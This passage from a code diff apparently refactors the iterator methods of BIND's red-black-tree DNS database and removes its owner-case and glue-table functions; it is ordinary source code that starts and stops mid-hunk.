+			{
+				if (!iterator_active(rbtdb, rbtiterator,
+						     header))
+				{
+					header = NULL;
+				}
+				break;
+			} else {
+				header = header->down;
 			}
+		} while (header != NULL);
+		if (header != NULL) {
+			break;
+		}
+		/*
+		 * Find the start of the header chain for the next type
+		 * by walking back up the list.
+		 */
+		while (top_next != NULL &&
+		       (top_next->type == type || top_next->type == negtype))
+		{
+			top_next = top_next->next;
 		}
 	}
 
-	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
-		tresult = dns_rbtnodechain_current(rbtdbiter->current, iname,
-						   origin, NULL);
-		if (tresult == ISC_R_SUCCESS) {
-			rbtdbiter->new_origin = true;
-			reference_iter_node(rbtdbiter);
-		} else {
-			result = tresult;
-			rbtdbiter->node = NULL;
-		}
-	} else {
-		rbtdbiter->node = NULL;
+	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
+
+	rbtiterator->current = header;
+
+	if (header == NULL) {
+		return (ISC_R_NOMORE);
 	}
 
-	rbtdbiter->result = (result == DNS_R_PARTIALMATCH) ? ISC_R_SUCCESS
-							   : result;
+	return (ISC_R_SUCCESS);
+}
 
-	return (result);
+static void
+rdatasetiter_current(dns_rdatasetiter_t *iterator,
+		     dns_rdataset_t *rdataset DNS__DB_FLARG) {
+	rbtdb_rdatasetiter_t *rbtiterator = (rbtdb_rdatasetiter_t *)iterator;
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)(rbtiterator->common.db);
+	dns_rbtnode_t *rbtnode = rbtiterator->common.node;
+	dns_slabheader_t *header = NULL;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+
+	header = rbtiterator->current;
+	REQUIRE(header != NULL);
+
+	NODE_RDLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
+
+	dns__rbtdb_bindrdataset(rbtdb, rbtnode, header, rbtiterator->common.now,
+				isc_rwlocktype_read,
+				rdataset DNS__DB_FLARG_PASS);
+
+	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
 }
 
-static isc_result_t
-dbiterator_prev(dns_dbiterator_t *iterator) {
-	isc_result_t result;
-	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
-	dns_name_t *name, *origin;
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
+/*
+ * Database Iterator Methods
+ */
 
-	REQUIRE(rbtdbiter->node != NULL);
+static void
+reference_iter_node(rbtdb_dbiterator_t *rbtdbiter DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)rbtdbiter->common.db;
+	dns_rbtnode_t *node = rbtdbiter->node;
 
-	if (rbtdbiter->result != ISC_R_SUCCESS) {
-		return (rbtdbiter->result);
+	if (node == NULL) {
+		return;
 	}
 
-	if (rbtdbiter->paused) {
-		resume_iteration(rbtdbiter);
-	}
+	INSIST(rbtdbiter->tree_locked != isc_rwlocktype_none);
+	reactivate_node(rbtdb, node, rbtdbiter->tree_locked DNS__DB_FLARG_PASS);
+}
 
-	name = dns_fixedname_name(&rbtdbiter->name);
-	origin = dns_fixedname_name(&rbtdbiter->origin);
-	result = dns_rbtnodechain_prev(rbtdbiter->current, name, origin);
-	if (result == ISC_R_NOMORE && !rbtdbiter->nsec3only &&
-	    !rbtdbiter->nonsec3 && &rbtdbiter->nsec3chain == rbtdbiter->current)
-	{
-		rbtdbiter->current = &rbtdbiter->chain;
-		dns_rbtnodechain_reset(rbtdbiter->current);
-		result = dns_rbtnodechain_last(rbtdbiter->current, rbtdb->tree,
-					       name, origin);
-		if (result == ISC_R_NOTFOUND) {
-			result = ISC_R_NOMORE;
-		}
+static void
+dereference_iter_node(rbtdb_dbiterator_t *rbtdbiter DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)rbtdbiter->common.db;
+	dns_rbtnode_t *node = rbtdbiter->node;
+	isc_rwlock_t *lock = NULL;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t tlocktype = rbtdbiter->tree_locked;
+
+	if (node == NULL) {
+		return;
 	}
 
-	dereference_iter_node(rbtdbiter);
+	REQUIRE(tlocktype != isc_rwlocktype_write);
 
-	if (result == DNS_R_NEWORIGIN || result == ISC_R_SUCCESS) {
-		rbtdbiter->new_origin = (result == DNS_R_NEWORIGIN);
-		result = dns_rbtnodechain_current(rbtdbiter->current, NULL,
-						  NULL, &rbtdbiter->node);
-	}
+	lock = &rbtdb->node_locks[node->locknum].lock;
+	NODE_RDLOCK(lock, &nlocktype);
+	dns__rbtdb_decref(rbtdb, node, 0, &nlocktype, &rbtdbiter->tree_locked,
+			  false, false DNS__DB_FLARG_PASS);
+	NODE_UNLOCK(lock, &nlocktype);
 
-	if (result == ISC_R_SUCCESS) {
-		reference_iter_node(rbtdbiter);
+	INSIST(rbtdbiter->tree_locked == tlocktype);
+
+	rbtdbiter->node = NULL;
+}
+
+static void
+resume_iteration(rbtdb_dbiterator_t *rbtdbiter) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)rbtdbiter->common.db;
+
+	REQUIRE(rbtdbiter->paused);
+	REQUIRE(rbtdbiter->tree_locked == isc_rwlocktype_none);
+
+	TREE_RDLOCK(&rbtdb->tree_lock, &rbtdbiter->tree_locked);
+
+	rbtdbiter->paused = false;
+}
+
+static void
+dbiterator_destroy(dns_dbiterator_t **iteratorp DNS__DB_FLARG) {
+	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)(*iteratorp);
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)rbtdbiter->common.db;
+	dns_db_t *db = NULL;
+
+	if (rbtdbiter->tree_locked == isc_rwlocktype_read) {
+		TREE_UNLOCK(&rbtdb->tree_lock, &rbtdbiter->tree_locked);
 	}
+	INSIST(rbtdbiter->tree_locked == isc_rwlocktype_none);
 
-	rbtdbiter->result = result;
+	dereference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
 
-	return (result);
+	dns_db_attach(rbtdbiter->common.db, &db);
+	dns_db_detach(&rbtdbiter->common.db);
+
+	dns_rbtnodechain_reset(&rbtdbiter->chain);
+	dns_rbtnodechain_reset(&rbtdbiter->nsec3chain);
+	isc_mem_put(db->mctx, rbtdbiter, sizeof(*rbtdbiter));
+	dns_db_detach(&db);
+
+	*iteratorp = NULL;
 }
 
 static isc_result_t
-dbiterator_next(dns_dbiterator_t *iterator) {
+dbiterator_first(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	isc_result_t result;
 	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
-	dns_name_t *name, *origin;
 	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
+	dns_name_t *name = NULL, *origin = NULL;
 
-	REQUIRE(rbtdbiter->node != NULL);
-
-	if (rbtdbiter->result != ISC_R_SUCCESS) {
+	if (rbtdbiter->result != ISC_R_SUCCESS &&
+	    rbtdbiter->result != ISC_R_NOTFOUND &&
+	    rbtdbiter->result != DNS_R_PARTIALMATCH &&
+	    rbtdbiter->result != ISC_R_NOMORE)
+	{
 		return (rbtdbiter->result);
 	}
 
@@ -9693,103 +4273,54 @@ dbiterator_next(dns_dbiterator_t *iterator) {
 		resume_iteration(rbtdbiter);
 	}
 
+	dereference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
+
 	name = dns_fixedname_name(&rbtdbiter->name);
 	origin = dns_fixedname_name(&rbtdbiter->origin);
-	result = dns_rbtnodechain_next(rbtdbiter->current, name, origin);
-	if (result == ISC_R_NOMORE && !rbtdbiter->nsec3only &&
-	    !rbtdbiter->nonsec3 && &rbtdbiter->chain == rbtdbiter->current)
-	{
+	dns_rbtnodechain_reset(&rbtdbiter->chain);
+	dns_rbtnodechain_reset(&rbtdbiter->nsec3chain);
+
+	if (rbtdbiter->nsec3only) {
 		rbtdbiter->current = &rbtdbiter->nsec3chain;
-		dns_rbtnodechain_reset(rbtdbiter->current);
 		result = dns_rbtnodechain_first(rbtdbiter->current,
 						rbtdb->nsec3, name, origin);
-		if (result == ISC_R_NOTFOUND) {
-			result = ISC_R_NOMORE;
+	} else {
+		rbtdbiter->current = &rbtdbiter->chain;
+		result = dns_rbtnodechain_first(rbtdbiter->current, rbtdb->tree,
+						name, origin);
+		if (!rbtdbiter->nonsec3 && result == ISC_R_NOTFOUND) {
+			rbtdbiter->current = &rbtdbiter->nsec3chain;
+			result = dns_rbtnodechain_first(
+				rbtdbiter->current, rbtdb->nsec3, name, origin);
 		}
 	}
-
-	dereference_iter_node(rbtdbiter);
-
-	if (result == DNS_R_NEWORIGIN || result == ISC_R_SUCCESS) {
-		rbtdbiter->new_origin = (result == DNS_R_NEWORIGIN);
+	if (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
 		result = dns_rbtnodechain_current(rbtdbiter->current, NULL,
 						  NULL, &rbtdbiter->node);
-	}
-	if (result == ISC_R_SUCCESS) {
-		reference_iter_node(rbtdbiter);
-	}
-
-	rbtdbiter->result = result;
-
-	return (result);
-}
-
-static isc_result_t
-dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
-		   dns_name_t *name) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
-	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
-	dns_rbtnode_t *node = rbtdbiter->node;
-	isc_result_t result;
-	dns_name_t *nodename = dns_fixedname_name(&rbtdbiter->name);
-	dns_name_t *origin = dns_fixedname_name(&rbtdbiter->origin);
-
-	REQUIRE(rbtdbiter->result == ISC_R_SUCCESS);
-	REQUIRE(rbtdbiter->node != NULL);
-
-	if (rbtdbiter->paused) {
-		resume_iteration(rbtdbiter);
-	}
-
-	if (name != NULL) {
-		if (rbtdbiter->common.relative_names) {
-			origin = NULL;
-		}
-		result = dns_name_concatenate(nodename, origin, name, NULL);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-		if (rbtdbiter->common.relative_names && rbtdbiter->new_origin) {
-			result = DNS_R_NEWORIGIN;
+		if (result == ISC_R_SUCCESS) {
+			rbtdbiter->new_origin = true;
+			reference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
 		}
 	} else {
-		result = ISC_R_SUCCESS;
+		INSIST(result == ISC_R_NOTFOUND);
+		result = ISC_R_NOMORE; /* The tree is empty. */
 	}
 
-	new_reference(rbtdb, node, isc_rwlocktype_none);
-
-	*nodep = rbtdbiter->node;
-
-	if (iterator->cleaning && result == ISC_R_SUCCESS) {
-		isc_result_t expire_result;
-
-		/*
-		 * If the deletion array is full, flush it before trying
-		 * to expire the current node.  The current node can't
-		 * fully deleted while the iteration cursor is still on it.
-		 */
-		if (rbtdbiter->delcnt == DELETION_BATCH_MAX) {
-			flush_deletions(rbtdbiter);
-		}
-
-		expire_result = expirenode(iterator->db, *nodep, 0);
+	rbtdbiter->result = result;
 
-		/*
-		 * expirenode() currently always returns success.
-		 */
-		if (expire_result == ISC_R_SUCCESS && node->down == NULL) {
-			rbtdbiter->deletions[rbtdbiter->delcnt++] = node;
-			isc_refcount_increment(&node->references);
-		}
+	if (result != ISC_R_SUCCESS) {
+		ENSURE(!rbtdbiter->paused);
 	}
 
 	return (result);
 }
 
 static isc_result_t
-dbiterator_pause(dns_dbiterator_t *iterator) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
+dbiterator_last(dns_dbiterator_t *iterator DNS__DB_FLARG) {
+	isc_result_t result;
 	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
+	dns_name_t *name = NULL, *origin = NULL;
 
 	if (rbtdbiter->result != ISC_R_SUCCESS &&
 	    rbtdbiter->result != ISC_R_NOTFOUND &&
@@ -9800,818 +4331,405 @@ dbiterator_pause(dns_dbiterator_t *iterator) {
 	}
 
 	if (rbtdbiter->paused) {
-		return (ISC_R_SUCCESS);
+		resume_iteration(rbtdbiter);
 	}
 
-	rbtdbiter->paused = true;
+	dereference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
+
+	name = dns_fixedname_name(&rbtdbiter->name);
+	origin = dns_fixedname_name(&rbtdbiter->origin);
+	dns_rbtnodechain_reset(&rbtdbiter->chain);
+	dns_rbtnodechain_reset(&rbtdbiter->nsec3chain);
 
-	if (rbtdbiter->tree_locked != isc_rwlocktype_none) {
-		INSIST(rbtdbiter->tree_locked == isc_rwlocktype_read);
-		RWUNLOCK(&rbtdb->tree_lock, isc_rwlocktype_read);
-		rbtdbiter->tree_locked = isc_rwlocktype_none;
+	result = ISC_R_NOTFOUND;
+	if (rbtdbiter->nsec3only && !rbtdbiter->nonsec3) {
+		rbtdbiter->current = &rbtdbiter->nsec3chain;
+		result = dns_rbtnodechain_last(rbtdbiter->current, rbtdb->nsec3,
+					       name, origin);
+	}
+	if (!rbtdbiter->nsec3only && result == ISC_R_NOTFOUND) {
+		rbtdbiter->current = &rbtdbiter->chain;
+		result = dns_rbtnodechain_last(rbtdbiter->current, rbtdb->tree,
+					       name, origin);
+	}
+	if (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
+		result = dns_rbtnodechain_current(rbtdbiter->current, NULL,
+						  NULL, &rbtdbiter->node);
+		if (result == ISC_R_SUCCESS) {
+			rbtdbiter->new_origin = true;
+			reference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
+		}
+	} else {
+		INSIST(result == ISC_R_NOTFOUND);
+		result = ISC_R_NOMORE; /* The tree is empty. */
 	}
 
-	flush_deletions(rbtdbiter);
+	rbtdbiter->result = result;
 
-	return (ISC_R_SUCCESS);
+	return (result);
 }
 
 static isc_result_t
-dbiterator_origin(dns_dbiterator_t *iterator, dns_name_t *name) {
+dbiterator_seek(dns_dbiterator_t *iterator,
+		const dns_name_t *name DNS__DB_FLARG) {
+	isc_result_t result, tresult;
 	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
-	dns_name_t *origin = dns_fixedname_name(&rbtdbiter->origin);
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
+	dns_name_t *iname = NULL, *origin = NULL;
 
-	if (rbtdbiter->result != ISC_R_SUCCESS) {
+	if (rbtdbiter->result != ISC_R_SUCCESS &&
+	    rbtdbiter->result != ISC_R_NOTFOUND &&
+	    rbtdbiter->result != DNS_R_PARTIALMATCH &&
+	    rbtdbiter->result != ISC_R_NOMORE)
+	{
 		return (rbtdbiter->result);
 	}
 
-	dns_name_copy(origin, name);
-	return (ISC_R_SUCCESS);
-}
-
-static void
-setownercase(rdatasetheader_t *header, const dns_name_t *name) {
-	unsigned int i;
-	bool fully_lower;
-
-	/*
-	 * We do not need to worry about label lengths as they are all
-	 * less than or equal to 63.
-	 */
-	memset(header->upper, 0, sizeof(header->upper));
-	fully_lower = true;
-	for (i = 0; i < name->length; i++) {
-		if (name->ndata[i] >= 'A' && name->ndata[i] <= 'Z') {
-			{
-				header->upper[i / 8] |= 1 << (i % 8);
-				fully_lower = false;
-			}
-		}
-	}
-	RDATASET_ATTR_SET(header, RDATASET_ATTR_CASESET);
-	if (ISC_LIKELY(fully_lower)) {
-		RDATASET_ATTR_SET(header, RDATASET_ATTR_CASEFULLYLOWER);
+	if (rbtdbiter->paused) {
+		resume_iteration(rbtdbiter);
 	}
-}
-
-static void
-rdataset_setownercase(dns_rdataset_t *rdataset, const dns_name_t *name) {
-	dns_rbtdb_t *rbtdb = rdataset->private1;
-	dns_rbtnode_t *rbtnode = rdataset->private2;
-	unsigned char *raw = rdataset->private3; /* RDATASLAB */
-	rdatasetheader_t *header;
-
-	header = (struct rdatasetheader *)(raw - sizeof(*header));
-
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_write);
-	setownercase(header, name);
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_write);
-}
-
-static const unsigned char maptolower[256] = {
-	['A'] = 'a', ['B'] = 'b', ['C'] = 'c', ['D'] = 'd', ['E'] = 'e',
-	['F'] = 'f', ['G'] = 'g', ['H'] = 'h', ['I'] = 'i', ['J'] = 'j',
-	['K'] = 'k', ['L'] = 'l', ['M'] = 'm', ['N'] = 'n', ['O'] = 'o',
-	['P'] = 'p', ['Q'] = 'q', ['R'] = 'r', ['S'] = 's', ['T'] = 't',
-	['U'] = 'u', ['V'] = 'v', ['X'] = 'x', ['Y'] = 'y', ['Z'] = 'z',
-};
-
-static const unsigned char maptoupper[256] = {
-	['a'] = 'A', ['b'] = 'B', ['c'] = 'C', ['d'] = 'D', ['e'] = 'E',
-	['f'] = 'F', ['g'] = 'G', ['h'] = 'H', ['i'] = 'I', ['j'] = 'J',
-	['k'] = 'K', ['l'] = 'L', ['m'] = 'M', ['n'] = 'N', ['o'] = 'O',
-	['p'] = 'P', ['q'] = 'Q', ['r'] = 'R', ['s'] = 'S', ['t'] = 'T',
-	['u'] = 'U', ['v'] = 'V', ['x'] = 'X', ['y'] = 'Y', ['z'] = 'Z',
-};
-
-static void
-rdataset_getownercase(const dns_rdataset_t *rdataset, dns_name_t *name) {
-	dns_rbtdb_t *rbtdb = rdataset->private1;
-	dns_rbtnode_t *rbtnode = rdataset->private2;
-	unsigned char *raw = rdataset->private3; /* RDATASLAB */
-	rdatasetheader_t *header = NULL;
-	uint8_t mask = (1 << 7);
-	uint8_t bits = 0;
 
-	header = (struct rdatasetheader *)(raw - sizeof(*header));
+	dereference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
 
-	NODE_LOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		  isc_rwlocktype_read);
-
-	if (!CASESET(header)) {
-		goto unlock;
-	}
+	iname = dns_fixedname_name(&rbtdbiter->name);
+	origin = dns_fixedname_name(&rbtdbiter->origin);
+	dns_rbtnodechain_reset(&rbtdbiter->chain);
+	dns_rbtnodechain_reset(&rbtdbiter->nsec3chain);
 
-	if (ISC_LIKELY(CASEFULLYLOWER(header))) {
-		for (size_t i = 0; i < name->length; i++) {
-			uint8_t c = name->ndata[i];
-			if (c >= 'A' && c <= 'Z') {
-				name->ndata[i] = maptolower[c];
-			}
-		}
+	if (rbtdbiter->nsec3only) {
+		rbtdbiter->current = &rbtdbiter->nsec3chain;
+		result = dns_rbt_findnode(rbtdb->nsec3, name, NULL,
+					  &rbtdbiter->node, rbtdbiter->current,
+					  DNS_RBTFIND_EMPTYDATA, NULL, NULL);
+	} else if (rbtdbiter->nonsec3) {
+		rbtdbiter->current = &rbtdbiter->chain;
+		result = dns_rbt_findnode(rbtdb->tree, name, NULL,
+					  &rbtdbiter->node, rbtdbiter->current,
+					  DNS_RBTFIND_EMPTYDATA, NULL, NULL);
 	} else {
-		for (size_t i = 0; i < name->length; i++) {
-			uint8_t c = name->ndata[i];
-
-			if (mask == (1 << 7)) {
-				bits = header->upper[i / 8];
-				mask = 1;
-			} else {
-				mask <<= 1;
-			}
-
-			if (c >= 'a' && c <= 'z') {
-				if ((bits & mask) != 0) {
-					name->ndata[i] = maptoupper[c];
-				}
-			} else if (c >= 'A' && c <= 'Z') {
-				if ((bits & mask) == 0) {
-					name->ndata[i] = maptolower[c];
-				}
+		/*
+		 * Stay on main chain if not found on either chain.
+		 */
+		rbtdbiter->current = &rbtdbiter->chain;
+		result = dns_rbt_findnode(rbtdb->tree, name, NULL,
+					  &rbtdbiter->node, rbtdbiter->current,
+					  DNS_RBTFIND_EMPTYDATA, NULL, NULL);
+		if (result == DNS_R_PARTIALMATCH) {
+			dns_rbtnode_t *node = NULL;
+			tresult = dns_rbt_findnode(
+				rbtdb->nsec3, name, NULL, &node,
+				&rbtdbiter->nsec3chain, DNS_RBTFIND_EMPTYDATA,
+				NULL, NULL);
+			if (tresult == ISC_R_SUCCESS) {
+				rbtdbiter->node = node;
+				rbtdbiter->current = &rbtdbiter->nsec3chain;
+				result = tresult;
 			}
 		}
 	}
 
-unlock:
-	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
-		    isc_rwlocktype_read);
-}
-
-struct rbtdb_glue {
-	struct rbtdb_glue *next;
-	dns_fixedname_t fixedname;
-	dns_rdataset_t rdataset_a;
-	dns_rdataset_t sigrdataset_a;
-	dns_rdataset_t rdataset_aaaa;
-	dns_rdataset_t sigrdataset_aaaa;
-};
-
-typedef struct {
-	rbtdb_glue_t *glue_list;
-	dns_rbtdb_t *rbtdb;
-	rbtdb_version_t *rbtversion;
-} rbtdb_glue_additionaldata_ctx_t;
-
-static void
-free_gluelist(rbtdb_glue_t *glue_list, dns_rbtdb_t *rbtdb) {
-	rbtdb_glue_t *cur, *cur_next;
-
-	if (glue_list == (void *)-1) {
-		return;
-	}
-
-	cur = glue_list;
-	while (cur != NULL) {
-		cur_next = cur->next;
-
-		if (dns_rdataset_isassociated(&cur->rdataset_a)) {
-			dns_rdataset_disassociate(&cur->rdataset_a);
-		}
-		if (dns_rdataset_isassociated(&cur->sigrdataset_a)) {
-			dns_rdataset_disassociate(&cur->sigrdataset_a);
-		}
-
-		if (dns_rdataset_isassociated(&cur->rdataset_aaaa)) {
-			dns_rdataset_disassociate(&cur->rdataset_aaaa);
-		}
-		if (dns_rdataset_isassociated(&cur->sigrdataset_aaaa)) {
-			dns_rdataset_disassociate(&cur->sigrdataset_aaaa);
-		}
-
-		dns_rdataset_invalidate(&cur->rdataset_a);
-		dns_rdataset_invalidate(&cur->sigrdataset_a);
-		dns_rdataset_invalidate(&cur->rdataset_aaaa);
-		dns_rdataset_invalidate(&cur->sigrdataset_aaaa);
-
-		isc_mem_put(rbtdb->common.mctx, cur, sizeof(*cur));
-		cur = cur_next;
-	}
-}
-
-static void
-free_gluetable(rbtdb_version_t *version) {
-	dns_rbtdb_t *rbtdb;
-	size_t size, i;
-
-	RWLOCK(&version->glue_rwlock, isc_rwlocktype_write);
-
-	rbtdb = version->rbtdb;
-
-	for (i = 0; i < HASHSIZE(version->glue_table_bits); i++) {
-		rbtdb_glue_table_node_t *cur, *cur_next;
-
-		cur = version->glue_table[i];
-		while (cur != NULL) {
-			cur_next = cur->next;
-			/* isc_refcount_decrement(&cur->node->references); */
-			cur->node = NULL;
-			free_gluelist(cur->glue_list, rbtdb);
-			cur->glue_list = NULL;
-			isc_mem_put(rbtdb->common.mctx, cur, sizeof(*cur));
-			cur = cur_next;
-		}
-		version->glue_table[i] = NULL;
-	}
-
-	size = HASHSIZE(version->glue_table_bits) *
-	       sizeof(*version->glue_table);
-	isc_mem_put(rbtdb->common.mctx, version->glue_table, size);
-
-	RWUNLOCK(&version->glue_rwlock, isc_rwlocktype_write);
-}
-
-static uint32_t
-rehash_bits(rbtdb_version_t *version, size_t newcount) {
-	uint32_t oldbits = version->glue_table_bits;
-	uint32_t newbits = oldbits;
-
-	while (newcount >= HASHSIZE(newbits) &&
-	       newbits <= RBTDB_GLUE_TABLE_MAX_BITS) {
-		newbits += 1;
-	}
-
-	return (newbits);
-}
-
-/*%
- * Write lock (version->glue_rwlock) must be held.
- */
-static void
-rehash_gluetable(rbtdb_version_t *version) {
-	uint32_t oldbits, newbits;
-	size_t newsize, oldcount, i;
-	rbtdb_glue_table_node_t **oldtable;
-
-	oldbits = version->glue_table_bits;
-	oldcount = HASHSIZE(oldbits);
-	oldtable = version->glue_table;
-
-	newbits = rehash_bits(version, version->glue_table_nodecount);
-	newsize = HASHSIZE(newbits) * sizeof(version->glue_table[0]);
-
-	version->glue_table = isc_mem_get(version->rbtdb->common.mctx, newsize);
-	version->glue_table_bits = newbits;
-	memset(version->glue_table, 0, newsize);
-
-	for (i = 0; i < oldcount; i++) {
-		rbtdb_glue_table_node_t *gluenode;
-		rbtdb_glue_table_node_t *nextgluenode;
-		for (gluenode = oldtable[i]; gluenode != NULL;
-		     gluenode = nextgluenode) {
-			uint32_t hash = isc_hash32(
-				&gluenode->node, sizeof(gluenode->node), true);
-			uint32_t idx = hash_32(hash, newbits);
-			nextgluenode = gluenode->next;
-			gluenode->next = version->glue_table[idx];
-			version->glue_table[idx] = gluenode;
+	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
+		tresult = dns_rbtnodechain_current(rbtdbiter->current, iname,
+						   origin, NULL);
+		if (tresult == ISC_R_SUCCESS) {
+			rbtdbiter->new_origin = true;
+			reference_iter_node(rbtdbiter DNS__DB_FLARG_PASS);
+		} else {
+			result = tresult;
+			rbtdbiter->node = NULL;
 		}
+	} else {
+		rbtdbiter->node = NULL;
 	}
 
-	isc_mem_put(version->rbtdb->common.mctx, oldtable,
-		    oldcount * sizeof(*version->glue_table));
-
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_ZONE,
-		      ISC_LOG_DEBUG(3),
-		      "rehash_gluetable(): "
-		      "resized glue table from %zu to "
-		      "%zu",
-		      oldcount, newsize / sizeof(version->glue_table[0]));
-}
-
-static void
-maybe_rehash_gluetable(rbtdb_version_t *version) {
-	size_t overcommit = HASHSIZE(version->glue_table_bits) *
-			    RBTDB_GLUE_TABLE_OVERCOMMIT;
-	if (ISC_LIKELY(version->glue_table_nodecount < overcommit)) {
-		return;
-	}
+	rbtdbiter->result = (result == DNS_R_PARTIALMATCH) ? ISC_R_SUCCESS
+							   : result;
 
-	rehash_gluetable(version);
+	return (result);
 }
 
 static isc_result_t
-glue_nsdname_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
-	rbtdb_glue_additionaldata_ctx_t *ctx;
+dbiterator_prev(dns_dbiterator_t *iterator DNS__DB_FLARG) {
 	isc_result_t result;
-	dns_fixedname_t fixedname_a;
-	dns_name_t *name_a = NULL;
-	dns_rdataset_t rdataset_a, sigrdataset_a;
-	dns_rbtnode_t *node_a = NULL;
-	dns_fixedname_t fixedname_aaaa;
-	dns_name_t *name_aaaa = NULL;
-	dns_rdataset_t rdataset_aaaa, sigrdataset_aaaa;
-	dns_rbtnode_t *node_aaaa = NULL;
-	rbtdb_glue_t *glue = NULL;
-	dns_name_t *gluename = NULL;
-
-	/*
-	 * NS records want addresses in additional records.
-	 */
-	INSIST(qtype == dns_rdatatype_a);
-
-	ctx = (rbtdb_glue_additionaldata_ctx_t *)arg;
-
-	name_a = dns_fixedname_initname(&fixedname_a);
-	dns_rdataset_init(&rdataset_a);
-	dns_rdataset_init(&sigrdataset_a);
-
-	name_aaaa = dns_fixedname_initname(&fixedname_aaaa);
-	dns_rdataset_init(&rdataset_aaaa);
-	dns_rdataset_init(&sigrdataset_aaaa);
-
-	result = zone_find((dns_db_t *)ctx->rbtdb, name, ctx->rbtversion,
-			   dns_rdatatype_a, DNS_DBFIND_GLUEOK, 0,
-			   (dns_dbnode_t **)&node_a, name_a, &rdataset_a,
-			   &sigrdataset_a);
-	if (result == DNS_R_GLUE) {
-		glue = isc_mem_get(ctx->rbtdb->common.mctx, sizeof(*glue));
-
-		gluename = dns_fixedname_initname(&glue->fixedname);
-		dns_name_copy(name_a, gluename);
+	rbtdb_dbiterator_t *rbtdbiter = (rbtdb_dbiterator_t *)iterator;
+	dns_name_t *name = NULL, *origin = NULL;
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)iterator->db;
 
-		dns_rdataset_init(&glue->rdataset_a);
-		dns_rdataset_init(&glue->sigrdataset_a);
-		dns_rdataset_init(&glue->rdataset_aaaa);
-		dns_rdataset_init(&glue->sigrdataset_aaaa);
+	REQUIRE(rbtdbiter->node != NULL);
 
-		dns_rdataset_clone(&rdataset_a, &glue->rdataset_a);
-		if (dns_rdataset_isassociated(&sigrdataset_a)) {
-			dns_rdataset_clone(&sigrdataset_a,
-					   &glue->sigrdataset_a);
-		}
+	if (rbtdbiter->result != ISC_R_SUCCESS) {
+		return (rbtdbiter->result);
 	}
 
-	result = zone_find((dns_db_t *)ctx->rbtdb, name, ctx->rbtversion,
-			   dns_rdatatype_aaaa, DNS_DBFIND_GLUEOK, 0,
-			   (dns_dbnode_t **)&node_aaaa, name_aaaa,
-			   &rdataset_aaaa, &sigrdataset_aaaa);
-	if (result == DNS_R_GLUE) {
-		if (glue == NULL) {
-			glue = isc_mem_get(ctx->rbtdb->common.mctx,
-					   sizeof(*glue));
-
-			gluename = dns_fixedname_initname(&glue->fixedname);
-			dns_name_copy(name_aaaa, gluename);
-
-			dns_rdataset_init(&glue->rdataset_a);
-			dns_rdataset_init(&glue->sigrdataset_a);
-			dns_rdataset_init(&glue->rdataset_aaaa);
-			dns_rdataset_init(&glue->sigrdataset_aaaa);
-		} else {
-			INSIST(node_a == node_aaaa);
-			INSIST(dns_name_equal(name_a, name_aaaa));
-		}
-
-		dns_rdataset_clone(&rdataset_aaaa, &glue->rdataset_aaaa);
-		if (dns_rdataset_isassociated(&sigrdataset_aaaa)) {
-			dns_rdataset_clone(&sigrdataset_aaaa,
-					   &glue->sigrdataset_aaaa);
-		}
+	if (rbtdbiter->paused) {
+		resume_iteration(rbtdbiter);
 	}
 
-	if (glue != NULL) {
-		glue->next = ctx->glue_list;
-		ctx->glue_list = glue;
+	name = dns_fixedname_name(&rbtdbiter->name);
+	origin = dns_fixedname_name(&rbtdbiter->origin);
+	result = dns_rbtnodechain_prev(rbtdbiter->current, name, origin);
+	if (result == ISC_R_NOMORE && !rbtdbiter->nsec3only &&
+	    !rbtdbiter->nonsec3 && &rbtdbiter->nsec3chain == rbtdbiter->current)
+	{
+		rbtdbiter->current = &rbtdbiter->chain;
+		dns_rbtnodechain_reset(rbtdbiter->current);
+		result = dns_rbtnodechain_last(rbtdbiter->current, rbtdb->tree,
